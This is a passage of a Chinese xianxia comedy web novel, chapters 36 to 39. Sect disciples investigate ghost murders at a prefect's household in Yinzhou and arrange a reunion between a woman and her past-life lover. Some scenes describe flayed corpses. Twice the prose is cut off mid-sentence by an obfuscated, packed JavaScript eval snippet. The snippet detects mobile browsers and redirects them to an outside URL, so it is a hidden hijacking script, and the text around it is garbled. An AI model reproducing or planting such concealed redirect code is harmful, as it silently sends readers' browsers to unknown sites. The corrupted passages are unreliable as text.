曾换月:“说是来了一位红衣仙人,厉害得很!把那些鬼吓得鬼哭狼嚎,天地震动,统统逃回了地府去。然后又有仙风道骨的仙人重新封印了阴阳路,那些鬼才安分下来……只是在鬼月的时候封印薄弱,难免会逃几只出来。后来不知怎么就流行起鬼月时夜间四人相聚就会招鬼的传闻……总之是这么回事了。” “很厉害的红衣仙人……”石映心眨眼,“妽荼仙尊?” 曾换月拍拍她的手:“我觉得也是!” 顾梦真搓了搓胳膊,瞧着有些后怕:“要让妽荼仙尊来处理的事情……那定是很恐怖的了。” “难怪这些银州百姓对归壹派的弟子这么友善,原来是因为师姐师兄她们先前救过他们呢。”曾换月一副了然的口吻,“这么对比起来,我们这帮人找夫君的任务不要太简单哦。” “话别说得太早。”顾梦真忽然压低了声音,偷摸摸道,“我总觉得事情不会这么简单,要不然什么时候找夫君不行,偏偏这鬼月让我们下山来了?” 曾换月一听,面色便犹豫着警惕起来:“不是吧……” “没事。”石映心也跟着小声了些,“不过是鬼。” 二人:…… 36. 第 36 章 “总之,”顾梦真叹了口气道,“能不惹事就不惹事,安安分分地完成因果牌的任务、早点回山上最好!” 石映心觉得要问清楚一点:“如果有人撞了鬼,我们也不管吗?” “那、那是要出手相助的。” “哦。” “好了好了,”顾梦真道,“既然夜里不便行事,我们就快些休息吧。” 石映心应了一声站起来,转过身瞧见坐在角落的玄猫,对顾梦真道:“二师兄,这猫和你一起睡吧。” 顾梦真这才瞧见玄猫:“行啊……它不咬人不挠人吧?” “不会的。” “好,你就放心交给我吧。” “嗯。”石映心点点头,最后瞧了猫一眼,就带着师妹出门回房间了。 夜深人静。 顾梦真原本睡得很熟,突然皱起眉目,似乎有些痛苦。他朦胧之中觉得胸口被一块大石头压着,挤着他的五脏六腑叫他喘不过气来。半梦半醒之间,他脑子里盘旋着睡前听过的故事,隐约冒出一个念头: 不会是鬼压床吧…… 神志不清地睁开眼模糊地一瞧,自己胸口上有黑乎乎的一团什么……嗯?猫? 哦,是猫啊…… “下去,谁许你上床的?”他试图把猫扒拉下去,“乌漆嘛黑的,一看就是脏猫……” 那猫躲开了他的手,用爪子往他脸上按了一下。 虽然没伸爪,肉垫还软乎乎的,但着实把顾梦真吓了一跳,他登时清醒了不少,捂着脸瞪着它道:“你你你、你竟敢扇我巴掌!?” 玄猫坐在他身上,半阖着眼俯视他,猫眼里瞧着有很多鄙视。 “坏猫!”顾梦真瞧这眼神,心里很生气,“小心我把你丢出去!” 那猫从他身上跳下来,斜看他一眼,忽然又跳上了桌子,把桌上的茶盏给推倒了,洒出一些水来。 “你做什么!”顾梦真深呼一口气,连忙起来要擦桌子,嘴里嘟嘟囔囔的,“要不是我师妹喜欢你,我才不要和你待一起,你给我安分一点……” 结果扭头一看,那猫坐在了窗台上,不知何时已经把窗户给推开了,夜风吹来,有些湿热。 “你跳下去我可不理你的!”顾梦真气鼓鼓地要去关窗,身子往外边探去的时候忽然听见了什么动静。 他愣了愣,静下心来细细听去,好似有人在远远的地方在喊“救命”? 顾梦真正疑心是自己没睡醒听错了还是怎么,忽然身后的门被踹开,他吓了一跳,扭头看去就瞧见两个师妹。 “师兄。”石映心衣衫完整,也没疑心她师兄为何站在窗边,单刀直入道,“有人在喊救命,要去看看吗?” 曾换月在边上打了个哈欠:“我没听见啊师姐……” 顾梦真回神道:“走,去看看!” 夜深人静,她们干脆飞窗出去,在人家屋顶上又跑又跃,好在脚步轻盈,并不扰人美梦。 跑了没两步就听不见救命声了,不过取而代之的是越发浓郁的血腥味。等三人嗅着鼻子寻过去,只瞧见大街上横躺着三具血肉模糊的尸体,曾换月吓得惨叫一声,蹲在屋檐上不敢下去。 顾梦真也是眼前一黑,晕乎乎地不能直视。 地上全是血,石映心站在血外瞧了瞧道:“皮被扒掉了。” 顿了顿又补充道:“扒得很干净,我们赶来时还隐约听见叫喊声,说明凶手的技术又快又好,常人难以做到……难道真是鬼干的?” 如此合理的分析,回应她的却是一阵“呕——” 石映心:? 她奇怪地看了看蹲在路边上呕吐的二师兄,又看看缩在屋檐上捂眼睛的小师妹,很不解地问:“你们怎么了?” “师姐、呕……”曾换月闻到这血腥味都有些反胃,已经是靠着义气强撑着不跑了,“师姐,你才是呕、怎么了……你不害怕吗呕……” 石映心有理有据道:“死人又做不了什么,为何要害怕?能杀人的只有人和鬼罢了。” “呕……”顾梦真脸色苍白地抬起头来,“这里的怕……是恶心的意思呕……” “哦,原来是这样。”石映心其实也不解要恶心什么,不过是人的尸体罢了,哪有她杀的那些奇形怪状的妖怪恶心呢?说起让她觉得恶心的东西,那还得是两年前试炼秘境中的那只…… 跑题了,石映心回过神来道:“好吧,那现在我们该如何?” 曾换月沙哑道:“这……凶手都跑没影了,这里血腥味这么重,我闻不到一点鬼气……我看是没办法了,算了算了,我们回去吧师姐……” “我也没闻到鬼气。”石映心先是这么说,然后又道,“我看话本里说,死了人要告到官府,要不我们把尸体送去官府门口?” “不不不、别别别……”顾梦真连忙制止她的危险想法,“虽然这是鬼干的,但是怎么说……还是维持案发现场的原样吧,不要轻举妄动,就让那些官差处理便是,我们回去吧,好不好映心?” 石映心说好。 三人便原路返回了客栈。 临走前石映心又问:“不是说四人才会招鬼,为何我们只见到三具尸体?” “也许有一个人跑了。”顾梦真喝了口茶水,“不管了不管了,先睡吧!” “哦。” 顾梦真把窗户关上,打了个哈欠打算上床睡觉,走到床边瞧见上边窝着一只玄猫,着实吓了一跳:“哇!你、你,你怎么……” 那玄猫懒洋洋地看着他。 顾梦真缓过心脏,松了口气:“也是,你不在这还能在哪……唉,算了,你要睡床上就睡床上吧,别吵我睡觉就好了。” 这么说着脱鞋往床上一躺,被子一盖两眼一闭,脑袋一歪就睡着了。 玄猫斜看他一眼,慢慢地趴了下来。 隔天一早。 三人在楼下用早膳的时候就听见有食客议论纷纷起昨晚的新鲜案子,这才过了多久,这事已经传到了所有人的耳朵里,又从他们的嘴巴里绘声绘色地说出来:什么皮被扒得一干二净,筋都被抽出来了! 石映心替死者澄清:“没有被抽筋。” 曾换月手上拿着半根油炸桧,有些食不下咽了:“这些百姓胃口真好,吃饭的时候说这些……” 顾梦真喝了口豆浆,擦了把嘴巴:“嗐,敢说这些的都是没见过尸体惨状的,想象不出那场景有多可怖、呕……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15778783|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾换月表情痛苦:“你不要呕,不然我也想、呕……” 石映心:OO 用完膳,何碧薰正巧找来了,她也听到了风声,脸色苍白地和三人说了这事,瞧着害怕极了。又听三人说要去衙门瞅瞅情况,艰难地点了点头,状态瞧着马上要昏厥。 可是没办法啊,她要和贾秀才见上面才行。 于是她们便来到银州署,今日的衙门还挺热闹,门口进进出出着一些官差,边上还有不少没事干的百姓站得远远的看情况、凑在一起说小话。 见这么多人进出,石映心便没多少想法,领头就要往里边走,不意外地被其中一个门房拦住了:“站住!衙门重地,闲杂人等不可擅自入内!” “这位大哥,”顾梦真凑上来说,“我们有事要找……额,你们大人。” 门房横眉竖眼地看他:“若有要事,要先付了通报的费用,等我进去禀报了大人,再看大人是否公务繁忙、有没有时间见你们。” “啊?”曾换月嘟囔道,“这么麻烦?” 门房:“这是规矩!银州百姓都知晓。你们不是银州人?” 几人面面相觑,何碧薰问:“这位差大爷,不知要多少银两才能帮我们通报一声?” 那门房上下左右地打量了他们几眼,吐出一个数:“四个人……就二两银子吧。” “什么?二两银子?”曾换月声音都高了一些,“你们抢钱那!进去说句话的功夫就要我二两银子?这也太坑了……” 顾梦真在边上:“就是就是!!” “大胆!这里岂是你们撒泼的地方!” 那门房厉喝一声,拿起水火棍就要立威似的打下来,但下一秒就听一声“咔嚓”,那棍子已被削去了一段。 速度之快让门房都没反应过来,等定睛一看,才发现是一把剑把他的水火棍给砍掉了,而拿剑的女人正盯着他,冷声道: “小小银州,哪里有我不能撒泼的地方?” 门房瞪大眼睛、失声叫道:“大、大胆狂徒!” 当此时,另一边的门房以及门口来往的官差都被吸引来了注意力,纷纷朝这边赶来,手上拿刀的拿刀,拿棍的拿棍,个个气势汹汹,一时半会就将四位大胆狂徒包围了起来。 顾梦真有些不解情况为何发展成这样了:“你们做什么!我们不过削了一根棍子,需要这么大排场?” “这不是普通的棍子,”有个拿棍的人说,“这是官棍,是执法棍!你等砍了棍子,就是在蔑视官威、以下犯上!” 曾换月心说这些人有病吧,朗声道:“你们别乱来啊,刀剑不长眼,到时候伤了死了可别怪到我们头上来!” 见她居然还在说大话,官差们哈哈笑起来:“你们几个小女子、小白脸,还挺不知好歹!” 别看石映心淡然站在那,其实她想了很多的:“废话少说,你们先动手。”不然等会师父怪罪起来她没借口。 官差们:…… 真是太嚣张了!搁谁谁忍得了? “弟兄们、上啊!” 这伙人呵呵啊啊地挥着武器喊叫起来,就在这剑拔弩张的时刻,忽然有人高声喝到:“放肆!竟敢在衙门口胡闹!” 37. 第 37 章 众人一听这声好熟悉,转头一看,威风凛凛地站在门口、身后簇拥着几名官差的人不是他们知州大人邓严还是谁? “邓大人!” 大伙纷纷弃械行礼。 石映心打量着邓严,见他面色肃穆,锦衣华府,瞧着很威风;对方和她对视上,见她目光坦荡直白,皱眉道:“这些人是谁?” 被削棍的门房立刻凑上去,省去要二两通报费的事情,几句话把责任推到了他们身上。 曾换月正不服气地要说两句,却听那邓严对那门房道:“本官早就想过要废弃门房通报费的规矩,念着你二人家境贫寒才睁一只眼闭一只眼;没想到你却得寸进尺、为难普通百姓!” 那门房一听,吓得跪了下来:“大人饶命、小的知错了,大人饶命!” 邓严一挥袖子,摇头道:“人穷志短,本官也无意为难你,就罚你辞去门房一职、此生不可再入衙门做事吧。” 算是很轻的惩罚了,前门房磕头谢罪,很快就被人抬走。邓严边上的长随见事已至此,挥手退散了聚集的官差,衙门口顿时少了好多人。 长随来到石映心几人面前,好声好气地问:“几位找我们大人有什么事?” 石映心:“我们来找贾……” “咳咳!”顾梦真凑上来说,“我们听说昨晚街上死了人,疑似恶鬼作案,所以特来问问有没有帮得上忙的地方。” “帮忙?”那长随似有些奇怪,“额,几位是……?” “我们是归壹派的弟子!”曾换月指了指腰间的令牌,“你们大人这么厉害,可见过这符信?” 长随闻言双眼倏忽放大了,其实没仔细看那令牌,但仿佛已然确信了,转身朝邓严激动道:“大人,他们是归壹派的弟子!” “果真?”一直绷着脸的邓严也脸色一变,几步快走过来迎客,“你们真是归壹派的弟子?” 石映心奇怪他们态度变化:“是又如何?” 邓严连忙说:“是老夫招待不周,几位仙人快里边请!” 几位仙人还对他这突然殷勤的态度有些无所适从呢,长随就点头哈腰地将她们往衙门里迎了。一路上听着奉承话走进了银州署内宅,也就是邓家人居住之处,坐上了正厅的会客座。 又有丫鬟恭恭敬敬地倒茶送点心来,也是体验了一把礼遇嘉宾了。 顾梦真入了座有些不安,瞅了瞅开始吃果子的映心,又瞧了瞧话说多了喝茶解渴的小师妹,再看规矩坐在那脸色发白的何姑娘…… 嗐,还是得他说话啊:“咳咳……邓大人不必对我们这么客气,归壹派向来是公道正派,维护世间安宁、助民为乐是众弟子的职责,你有什么事就直说吧。” “好,不愧是归壹派的弟子,皆有坦荡的正道风范!”邓严见他把话说开,也不再犹豫,“实不相瞒,其实正和昨晚的惨案有关,不过……老夫所求之事,是为了我的女儿……” 石映心抬起眼:“知州小姐?” 邓严微愣:“是,她叫邓晴……老夫长话短说吧,想来几位也听过银州鬼月的传闻,入鬼月以来,晴儿不知何时不慎招惹上了恶鬼,这几日夜里常受恶鬼骚扰……她原有三个丫鬟,昨晚已经死了一个……” “啊?”几人听得一愣,曾换月问,“昨晚死的?死状如何?” 邓严道:“找过仵作验尸,推测是被鬼追到院中池子里溺水而亡。” 石映心说:“和街上那三个人的死状不一样。” “这也正常,”顾梦真摸摸下巴推测,“不同的鬼有不同的杀人习惯吧?所以邓大人的意思是,想让我们杀了那只骚扰邓小姐的恶鬼、护小姐周全?” 邓严朝几人作揖道:“若是几位仙人能帮晴儿渡过此劫,老夫感激不尽、必有重报!” “好说、好说,”曾换月面色故作正经道,“先让我们见见贵千金……以及她身边知晓此事的人,问过了情况再说。” 邓严自然没有不应的道理,立刻吩咐边上的下人:“去叫小姐过来。” 下人快步离去,石映心瞅了眼她离去的身影,又看看师姐和师妹,不知道脑子里想了什么,突兀道:“我听说邓晴有一个未过门的赘婿。” 这话听得在场几人都是一愣,毕竟是人家的私事,就是知道了也不好这么正大光明问出来的……顾梦真正想着怎么给师妹圆场,好在邓严饱经世故,居然笑了下道:“唉,是,石仙人消息灵通啊。” 石映心微微颔首:“也把他叫来。” 邓严有些奇怪道:“虽说庆升近日确实关心晴儿,常伴其左右,不过他尚未过门,还是个外人,夜里也是住在衙外,对此事并不了解。” 顾梦真抓着下巴在想理由,到底什么借口才能合理地见到与此事无关的对方的准女婿呢?实在是好难想哦。 看看对面,小师妹也转溜着眼珠子,还拉了拉她师姐的袖子,传密音道:“师姐,不能让这个邓严发现我们可能是来抢他女婿的啊!” 石映心密音说“嗯”,然后对邓严道:“你不必知道,我们自有考量,把人叫来就是了。” 她师兄师妹:…… 邓严:…… 好霸道哦。 毕竟是求人办事的一方,邓严自然不好再说什么,赔笑道“好好好”,又说午时贾庆升会来陪晴儿吃饭,到时候让他来给仙人们请安问好。 扯谈之间,丫鬟带着邓晴来了,知州小姐气质矜贵、眉目如画,瞧着是窈窕淑女的做派,就是面色里透着些明显的躁郁。走进门来,先是叫了声“爹”,又和几位仙人行礼:“原来几位便是归壹派的仙人,晴儿有礼了。” 大伙连忙说别客气别客气,客套之间,石映心扒拉开包包看了看,木牌没亮。 邓晴坐下后,给几人说了详细情况,说一开始只是做噩梦,不只是她一个人做,贴身的三个丫鬟一起做,梦境不尽相同;连做三晚梦后就开始见鬼,一开始只是守夜的丫鬟发现外头有鬼影飘过,当时她还不在意,觉得是丫鬟夜里犯困脑子糊涂了。 但接连三晚守夜的丫鬟都瞧见了鬼,邓晴不得不重视起来,有一夜她刻意没睡,果真瞧见一长发女鬼从屋外飘过,她大喝一声去追,结果只瞧见人一闪即逝的衣角。 最后便是昨晚的事了,她其中一个丫鬟小翠去起夜时撞了鬼,溺死在院中池下,悄无声息…… “悄无声息?”石映心有问题,“你们邓家这么多人,夜里深静,难道没有人听到救命的叫声吗?” 邓晴看看身边的丫鬟,又看看她爹,几人都摇了摇头。 “会不会一见到鬼就吓晕过去了,连叫都来不及?”曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15786488|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换月推测,“听闻人害怕到极致时不仅叫不出声、连动都动不了!” 石映心想怕成这样的话真是死路一条了。 邓晴叹了口气:“我原以为那丫头是胆量不错的,平日也比较活泼……没想道她这么胆小……” “不对啊。”顾梦真发现了疑点,“若她真的胆量小,怎么可能大晚上的、又是在见了鬼之后独自去茅房呢?” “这……”邓晴一愣,“也许是人有三急?” 转头又问边上两个丫鬟:“当时小翠可有叫你们二人陪同?” 其中一个丫鬟道:“回禀小姐,小翠只是叫我起来去外间帮着值会班,说是去茅房马上回来……都是奴婢不好,神志不清地就睡过去了,早上起来时才发现她还没回来……” 邓晴叹息一声道:“罢了,这事也怪不得你们,皆是那恶鬼作祟。我素来对此传言将信将疑,偶尔在夜间四人共处一室也不甚在意……如今也是栽了跟头了,唉。” “晴儿,”邓严见女儿唉声叹气的,心里也焦急,面上还要稳重地安慰道,“你放心,有这几位仙人在,定能把那恶鬼捉拿归案!” 还捉拿归案,你们银州署难道还有处置恶鬼的法子? 顾梦真应和道:“没错没错,邓小姐你就放心吧。” “好!”听到他们的保证,邓严脸上总算松了半口气,“那老夫就先替几位安排晚上的住处?” “麻烦邓大人了。” “客气客气,是老夫和小女劳烦了。” 邓严询问过后给他们安排了三间屋子暂作休憩,皆是与邓晴的闺房相近。因他公务繁忙很快就走了,由邓晴带几人去看房间,其实晚上都要待在邓晴屋子里保护她,不过白日可以在里头休息一会。 之后曾换月说要去看看小翠落水的地方,邓晴就带她们去了后院,这院子姹紫嫣红的倒是蛮漂亮,开着应季的花,引着几只蝴蝶在飞,看得出来平时有人在打理。 几人走到小池边上,瞧见里头还有许多锦鲤游来游去,它们是不忌讳这片水淹死过人的。邓晴脸色苍白地给几人解释着:“就是在这池里发现的尸体……” 丫鬟小春顺着池塘边上的汀步小径指过去:“沿着这路走进去,最里头就是下人用的茅房了……” 几人上下左右瞎看了一会,看不出什么所以然来。顾梦真摸着下巴说:“池子就在去茅房的途中,也就是说小翠是走到这的时候被鬼吓晕了过去,正巧旁边是小池就掉入其中……所以就淹死了?” 曾换月也摸下巴:“嘶,这就是真相吗?” 石映心正瞎看着,忽然瞥到一直乖乖跟着她们没说话也没存在感的何碧薰,见她盯着池子有些出神,便问道:“何姑娘,你有什么想法?” 何碧薰被她叫到还有些受到惊吓,见几人纷纷朝她看来,含蓄一笑道:“没什么……我只是想,那鬼是想杀了小翠吗?若是不在这池边,小翠只是被吓晕过去却没掉入池中……那又如何呢?” 三师兄妹:哎呀她说得好有道理! 见大伙脸色有变,何碧薰继续道:“据邓小姐所说,这鬼吓了她们六日,三次在梦中,三次做鬼影飘过,第七日才杀了个人……为何前几日不杀呢?难道是惧怕屋里三位女眷?” 三师兄妹:哎呀这么一说很有些奇怪啊! 38. 第 38 章 总之,何碧薰几句话下来,就把没疑点的事变得有疑点起来,这些疑点让有些笨蛋更加没头绪了。曾换月咬着手指头琢磨了会,干脆道:“不想了不想了,等晚上捉了那鬼再严刑逼供便是!” 石映心连连点头,顾梦真说对对对。 简单粗暴多好啊! 既然如此,邓晴就请她们先回屋里休息、吃点糕点喝点茶。几人正要走,邓晴的丫鬟小夏忽然出声:“咦,小姐,那荷叶下好像飘着什么东西?” 大伙闻声望去,正巧看见一只锦鲤用嘴顶开一片荷叶,显出原先被荷叶遮住的一个深粉色的香囊。 石映心手一伸,邓晴等人惊奇地看见那香囊就这么飞了过来,乖乖地到了她手中。几人凑近来看,邓晴还奇怪地说:“我见过小翠的尸体,她腰上明明挂着一个香囊了……难道这是别的丫鬟掉的?” 小春看着那香囊,突然想起什么:“小姐,你看这香囊的图样还剩了一角未完成,我记得小翠几日前说过香囊旧了,要再新绣一个。” 何碧薰道:“也就是说,这香囊本应在小翠的衣袖暗袋之中?” 曾换月歪了歪脑袋:“那怎么掉出来的?不应该啊。” “是啊小姐,”小夏道,“小翠的暗袋里还有许多东西都放着,怎么就这个香囊掉出来了?” 邓晴皱起眉头:“这究竟是……” 大伙正盯着香囊发愁之际,边上走来一个丫鬟:“小姐,夫人去山上祈福回来了。听说宅中来了几位归壹派的仙人,说从山上带回来一些好茶好果子要亲自招待仙人呢……对了,贾秀才也来了。” 邓晴脸上的乌云散去:“娘回来了?好啊,我这就去。”又问石映心等人是否同往。 反正一时没有头绪,又想着好茶好果子是什么滋味……主要是为了见贾庆升啦,总之几人是跟着去了。 前边就是厅堂,还没进去就听到里头一男一女的说话声,女声说“庆升啊,又劳烦你去城北买晴儿爱吃的荷花糕了”,男声回道“夫人不必客气,都是庆升应该做的”。 这男声确实就是石映心她们先前在庙中遇见的那个书生…… 石映心余光瞧见走她边上的何碧薰很明显地身形一顿,脸上露出了迟疑的怔愣,见石映心看她,她回以一个有些勉强的笑容,轻声地说:“石姑娘,我认出他的声音了……原来他已是别人的女婿。” “未过门的女婿。”石映心纠正道,“你放心。” 说着就进屋了。 何碧薰瞧她身影:? 等等……放心什么? 她跟在石姑娘身后,垂头低眉,没有去看已经认出的前世爱人,耳里听着那人客客气气地和几位仙人问好,“石仙人”“曾仙人”“顾仙人”一个个地客套下来,终于轮到她了:“这位仙人是……” 何碧薰感到自己的心跳如鼓,大概这也是一种近乡情怯?她面色镇定地抬首来,朝贾庆升露出一个礼貌的微笑:“我不是仙人,不过是个……受石姑娘她们恩惠的凡人罢了。” 她看见他也在看她,面色虽无波动,但那双出神的双眼是骗不了人的,旁人也许瞧不出来,但是对视着的二人怎么毫无察觉呢? “我是何碧薰。” “啊……”贾庆升回神来,朝她点点头,“原来是何姑娘。” 石映心在边上说:“贾秀才,你是不是觉得似曾相识?” 贾庆升一愣,脸上的笑意似有些僵硬,他不解地将视线转向说话的人:“石仙人这是何意?我与这位……” “我们前几日晚上在庙中见过,”石映心抬了下眉,“你不记得我和师妹了?” “哦!”这一声似松了口气似感叹,“记得、记得,原来那日晚上来庙中避雨的是石仙人和曾仙人,真是太巧了。只是那晚夜深,在下眼拙,没瞧清二位的仙容,还请不要错怪。” 石映心:“嗯。” “原来庆升和几位仙人之间还有这样的缘分,”邓夫人王琦面色和蔼,“这是我们邓家的福气!” 贾庆升:“夫人说的是。” 曾换月吃着邓夫人带来的果子,拍着胸脯保证道:“放心吧夫人,邓小姐有我们保护,肯定不会出事!” “欸,欸!”王琦拍拍女儿的手,笑道,“是啊,我总算能放心了。像我这样的老妪遇到这种事简直六神无主了,帮不上女儿的忙,只能去求神拜佛,寻个上天的庇佑……” 这么说着,她从袖里取出一个平安符来,塞到女儿手上说:“晴儿,这是娘诚心求来的,你戴好了。” 邓晴应了一声正要接过,曾换月就说:“瞧着很精致,能不能给我看看?” “当然当然。” 曾换月好奇民间的符箓,拿来后见这平安符做工精美,肯定价值不菲,琢磨了一下就还回去了。 大家伙聊了会天,又一起用了午膳,这才各自散开去休息了。 曾换月偷偷问石映心因果牌反应如何,石映心说很有反应,顾梦真就说:“那得想个办法让贾庆升和何姑娘单独见面谈一谈。” 她们先问了何碧薰,后者却犹豫道:“他与邓小姐下月就要定下婚约,八字就差一撇,我……我见他是不是不大好?” 话是这么说,但他们的任务怎么办? 曾换月便劝道:“哎呀,你就见一面嘛,若是贾庆升钟情于邓小姐,那我们自然尊重祝福了;若是其中……有一些狗血的缘由,指不定你二人还有一丝希望呢?” “可是……” “其实我看刚刚在厅堂里,贾庆升没与邓小姐说几句话,倒是和邓夫人相谈甚欢。”顾梦真回忆道,“而且邓小姐也没给他几个眼神……瞧着不像是快结婚的一对佳偶。” 石映心说:“我们可以先问邓小姐。” 三人一愣:“啊?问什么?” “问她喜不喜欢贾庆升。” 曾换月脸上抽抽:“啊,这是能问的吗?” 石映心想起邓晴的屋子就在边上,于是转身就走。其他人自然拦不住她,只好跟上去。 这家伙进了屋,瞧见邓晴正在喝茶,对方见她来了,放下挪到嘴边的茶盏就要站起来问好,却见石映心单刀直入道:“邓小姐,你与贾庆升关系如何?” 邓晴被她唬住了:“额,贾庆升是我未过门的夫婿……” “瞧着你不喜 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“那你换个人培养吧。”她如此帮人家下了决定,转头笑道,“师兄、换月,太好了,看来这事并不难。” 她师兄师妹:…… 邓晴:OO? 顾梦真额头上都流了不少汗了,连忙擦擦,掩去他们因果牌的事和邓晴解释了前因后果。 何碧薰话少又腼腆,还不是归壹派的弟子,邓晴便没多关注她,闻言才诧异地打量起来,有些不可置信道:“你说的这些前世今生的故事可都是真的?” 要“抢”人家准夫君,何碧薰十分不好意思,原本苍白的脸都泛青了,几乎不敢直视对方,很是愧疚道:“邓小姐,我实在是有愧于你……还请不要在意我,就当做什么都没发生过吧……” 邓晴定定地看了她一会,忽地叹出口气道:“别这么说,我也不是不讲情不讲理的人;不过此事并不是我和你说的算,若是贾庆升也对你有意,我也乐意促成这一桩美事。至于我爹娘那边,我会帮你解释。” 听她这么说,三师兄妹都乐颠了,已经在边上庆祝起来;何碧薰更是眼里泛泪光,难以置信道:“邓小姐有此宽怀的胸襟、成人之美的善良,日后定是有福之人。” 邓晴笑道:“我娘说过,世间万物不可强求,一切皆是冥冥注定。你和贾庆升有这般缘分,又赶在我与他订婚前来了,想来也是命中注定。再说这是石仙人她们的请求,我这几日还得仰仗几位保全小命,就当是报答吧。” 那三人:“客气客气了,应该应该的。” 何碧薰感激得不知道再说什么,连忙朝她行礼道谢,又被邓晴扶起来。 总之是这么回事了,邓晴喊丫鬟去叫贾庆升过来,留了屋子让邓晴和贾庆升单独见面,她与石映心三人就去隔壁静候佳音。 “自古多情空余恨,此恨绵绵无绝期……”邓晴也是感叹一声,“还以为这些诗词不过是夸大其词,话本中的深情故事都是凡人的臆想。今日见了何姑娘,才知道并非如此。” “是啊是啊。”顾梦真耳朵注意着隔壁的动静,这边热情地敷衍着,“嘶……好像快说好了。” 39. 第 39 章 几人便望向门,果然很快门就被推开,何碧薰擦着眼泪走进来,脸上带着忧愁的笑容。 曾换月迫不及待地问:“情况如何啊?” 何碧薰抽泣一声,让曾换月心都提了,好在很快听她说:“他说……难怪今日见我一见如故,打算等闹鬼一事过后,正式去和邓大人他们谢罪……” 她说得简明扼要,前言难搭后语,但明显是二人情投意合的意思。 曾换月跳起来:“太好了师姐!” 石映心点点头:“太好了换月!” 邓晴也是松了口气,还庆幸道:“好在爹娘最近在忙捉鬼的事,婚礼事宜没筹备多少……” 话说到这,门外又进来一人,正是贾庆升,他一进来就朝邓晴深深地拱手鞠了一躬:“多谢小姐成全!” 邓晴说不谢。 贾庆升又说:“贾某惭愧不如、无以为报,就请小姐允许这几日贾某伴左右略施薄力……” 邓晴挑秀眉:“你是想伴我左右还是伴何姑娘左右?” 贾庆升脸上一红,神色窘迫,不知如何回复;何碧薰也是低着头害羞。好在边上几人哈哈笑起来,这才过了这茬。邓晴也同意了。 贾庆升又请求邓晴暂时对她爹娘隐瞒此事:“邓大人和邓夫人这几日已是焦头烂额,贾某实在不忍二人再受多余的烦恼。等闹鬼一事过去,在下定会诚心赔礼谢罪。” “不用你说,”邓晴微微颔首,“我也是这般想的。” 事情就暂时这么决定了。 捉鬼什么的,石映心压根没放在心上,搞定了因果牌上的事后她觉得整个人轻松不少,还说银州署很无聊,想去街上逛逛。不过被二师兄以“天快黑了”为理由给拉住了。 天真的黑得很快,用过晚膳之后,石映心和曾换月扮做丫鬟的模样陪邓晴待在屋里,小春小夏以及何碧薰等人则是由顾梦真陪同,待在隔壁的房间。 顾梦真往桌上放了那盏辟邪灯,门窗都关着,不担心被风吹灭。屋里其他灯都没点,将近漆黑一片,几人围在桌边,面面相觑着彼此脸上窜动的火影。 邓严瞅了瞅四周,有些说不上来的不安:“额,顾仙人……” 顾仙人瞪眼:“嘘~” 邓夫人王琦想着女儿那屋就三个人,也是忧愁:“顾仙人,要不……” 顾仙人摇头:“嘘~” 站在邓严身后的贾庆升和坐在顾梦真边上的何碧薰对视一眼,小声道:“不如让贾某……” 顾仙人竖手指头:“嘘~” 别打扰他听隔壁的动静啊! 这都嘘嘘嘘了,几人只好闭上嘴,顾虑无处发泄,面色和动作就焦躁起来。贾庆升喝了口茶水压压惊,边上的丫鬟便非常有眼力色地给几位主子倒了茶水,大家纷纷喝起来,事到如今也没有其他转移注意力的办法了。 屋内静谧着,只听见外头传来夏夜的蝉鸣。 吱呀吱呀的声音听得邓晴有些犯困,她坐在内室的床上,曾换月陪着她在边上一边吃西瓜一边看话本,石映心在外室,隔着屏风,隐约瞧见她的身影。 曾换月从话本里抬起眼来,见邓晴眉头微蹙着,语气轻松道:“邓小姐你就宽心吧,有我师姐在,那鬼伤不了你一根毫毛。要不你睡一会?” 邓晴只觉得胸口压了一块石头,话都说不出来,朝她微微摇了摇头。 就在这时,石映心在外头叫道:“换月,你过来一会。” 曾换月“哦”了一声,放下话本就走去了外室。邓晴隐约能听见二人的说话声,心下倒还算安定。 “小姐、小姐……” 谁? 她扭头一看,卧房的窗上显出一个人影,听声音好似是小春。邓晴猜想可是爹娘关心她的情况,派丫鬟过来一探究竟;两位仙人在外室谈话,不过几步距离,她便走过去,压低声音隔着窗户问:“怎么了?” 小春说:“小姐,没什么要紧事,是夫人和老爷关心你的情况,又不便随意走动,便派奴婢来看看你。” 邓晴松了口气,微微笑道:“我没事。你好好照顾爹和娘,我有两位仙人保护,他们不必担心。” 小春说“好”,窗上的人影低头从袖里拿了什么出来:“对了小姐,夫人说她先前落了一枚护身符,现下找到了,命我交到你手上。” “娘也真是的,如今我有仙人庇护她还不放心……” 无奈的话里也有些笑意,邓晴一边说一边将窗户上的窗闩解开,对面很快递来一个护身符,她接过来一看,忽地眼前一糊,好在眨了眼就清明起来,再定睛看去,手中的哪里是护身符?明明是个暗粉色的香囊,瞧着还有些熟悉…… 是小春给错了? 她自然要问说法,抬眼看去,面前的人哪里是小春啊,那顶着一张青白脸死死盯着她看的,不是她死去的丫鬟小翠还是谁? “啊!!”女人惨叫。 “哐!!”踹门之声。 邓晴吓得连连后退,腰部撞到桌沿才止住,即使她惊悚万分,也依旧瞪大眼睛盯着小翠瞧,就见小翠忽地往边上瞥了一眼,下一秒就飘走了,紧接着就是石仙人从窗前跑去。 “别怕……” 边上突然有人声,邓晴又是一抖,转头看去是曾换月,提着一口气道,“曾仙人,刚刚是小翠……” 